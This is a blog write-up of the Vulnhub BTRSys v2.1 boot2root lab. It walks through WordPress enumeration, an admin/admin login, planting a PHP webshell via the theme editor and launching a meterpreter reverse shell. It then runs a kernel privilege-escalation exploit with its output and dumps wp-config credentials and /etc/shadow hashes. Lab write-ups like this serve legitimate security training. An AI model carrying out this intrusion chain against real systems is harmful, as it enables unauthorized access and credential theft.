Vulnhub: Resimler: BTRSys v2.1

Posted on by

OK one last Vulnhub VM for today, this time is the second in the series: Resimler: BTRSys v2.1, This one is a bit more difficult than the previous, but only marginally.

Getting this VM up and running is a pain,  first time I tried to import it in vmware it complained about the vmdk, it’s a simple fix, the name is wrong in the .ova, simply open it in a text editor and rename the file it is looking for to the correct one.

First things first, a portscan.. we get the following:
21 – vsftpd 3.0.3
22 – OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
80 – Apache httpd 2.4.18

Again FTP allows anonymous login but nothing there.

Loading the webapp in a browser we are greeted with a gif of a snake but not much else. Examining robots.txt gives us /wordpress/.

So I kick off the usual tools, wpscan, nikto and dirb (with seclists big.txt).

Nikto doesn’t give much useful information, and the best dirb gives is /upload/ which simply reply’s with:
Connection failed: SQLSTATE[HY000] [1049] Unknown database ‘Lepton’

WPscan however lists a whole host of issues, here is a snippet of what I found:

[!] The WordPress 'http://192.168.1.144/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://192.168.1.144/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://192.168.1.144/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.1.144/wordpress/wp-includes/
 
[+] WordPress version 3.9.14 (Released on 2016-09-07) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
 
- loads of vulns as old version -
 
[+] Identified the following 2 user/s:
    +----+--------+--------+
    | Id | Login  | Name   |
    +----+--------+--------+
    | 1  | btrisk | btrisk |
    | 2  | admin  | admin  |
    +----+--------+--------+

I try both usernames with the username as the password and log in with the username/password of admin/admin. That was surprisingly easy!

Once in I used the “edit themes” option to edit “content-audio.php” to contain the b374k php webshell. I visited the url in a browser and was greeted with a webshell. from there I pulled the wp-config.php

define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
define('DB_HOST', 'localhost');

And /etc/password file which turned out to ultimately be no use. After realizing that python wasn’t installed I uploaded LinEnum.sh to /tmp, chmoded it and ran to get the following:

Linux version 4.4.0-62-generic (buildd@lcy01-30) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4)
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"

Running out of ideas I uploaded a meterpreter reverse shell and launched. from there I could spawn a shell using:  /usr/bin/python3.5 -c ‘import pty; pty.spawn(“/bin/sh”)’

There didn’t seem to be any suid binaries to exploit so I did a quick google for kernal exploits which led me to: https://www.exploit-db.com/exploits/41458/

The machine didn’t have GCC installed and the version I did find on it I didn’t have permissions to use. So compile that locally, upload. Then ran the following:

$ chmod +x pwn
chmod +x pwn
$ ./pwn
./pwn
[.] namespace sandbox setup successfully
[.] disabling SMEP & SMAP
[.] scheduling 0xffffffff81064550(0x406e0)
[.] waiting for the timer to execute
[.] done
[.] SMEP & SMAP should be off now
[.] getting root
[.] executing 0x55e02688defd
[.] done
[.] should be root now
[.] checking if we got root
[+] got r00t ^_^
[!] don't kill the exploit binary, the kernel will crash
root@ubuntu:/tmp#

And that is game over 🙂
Again there was no flag in /root so I grabbed the shadow files as proof. I haven’t cracked the hashes as I don’t see the point already having a root shell.

root@ubuntu:/root# ls -la
ls -la
total 32
drwx------  4 root root 4096 Apr 28 02:24 .
drwxr-xr-x 22 root root 4096 Mar 17  2017 ..
-rw-------  1 root root  505 May  2 08:57 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Apr 28 02:24 .cache
-rw-------  1 root root  215 Apr 27 12:11 .mysql_history
drwxr-xr-x  2 root root 4096 Mar 21  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
 
root@ubuntu:/root# cat /etc/shadow
cat /etc/shadow
root:$6$pYiSm10w$A7g2nH1EXRcIZxLgE3gRR.F.Rlq0gSpyWMqQjD/19U4s2xjtbNsiw.PV1Fevp23QOOj5tEm8CFGqagoodunMG.:17284:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
sync:*:17212:0:99999:7:::
games:*:17212:0:99999:7:::
man:*:17212:0:99999:7:::
lp:*:17212:0:99999:7:::
mail:*:17212:0:99999:7:::
news:*:17212:0:99999:7:::
uucp:*:17212:0:99999:7:::
proxy:*:17212:0:99999:7:::
www-data:$6$reqtjqmt$mDDXv45UPmRm7bwQYICkDFiVvGTLGaJyX.w16Sg7PNY9xMwlhIwebUSgF0hGjgKo1ku9IyfX0YdqDQHhBELZ2.:17283:0:99999:7:::
backup:*:17212:0:99999:7:::
list:*:17212:0:99999:7:::
irc:*:17212:0:99999:7:::
gnats:*:17212:0:99999:7:::
nobody:*:17212:0:99999:7:::
systemd-timesync:*:17212:0:99999:7:::
systemd-network:*:17212:0:99999:7:::
systemd-resolve:*:17212:0:99999:7:::
systemd-bus-proxy:*:17212:0:99999:7:::
syslog:*:17212:0:99999:7:::
_apt:*:17212:0:99999:7:::
messagebus:*:17242:0:99999:7:::
uuidd:*:17242:0:99999:7:::
btrisk:$6$pR7v.zmh$RGoeByixIOkiz8haCi3nFN2l8VtT/VjPJo6nO1jmpKdBbHcL6FMdb09Uq51sjY0M/HVZ8xF9lNjAHEoe1jAzn.:17284:0:99999:7:::
mysql:!:17242:0:99999:7:::
ftp:*:17245:0:99999:7:::
sshd:*:17246:0:99999:7:::

Thanks for another fun Boot2Root @ismailonderkaya

Sharing is caring!

Leave a Reply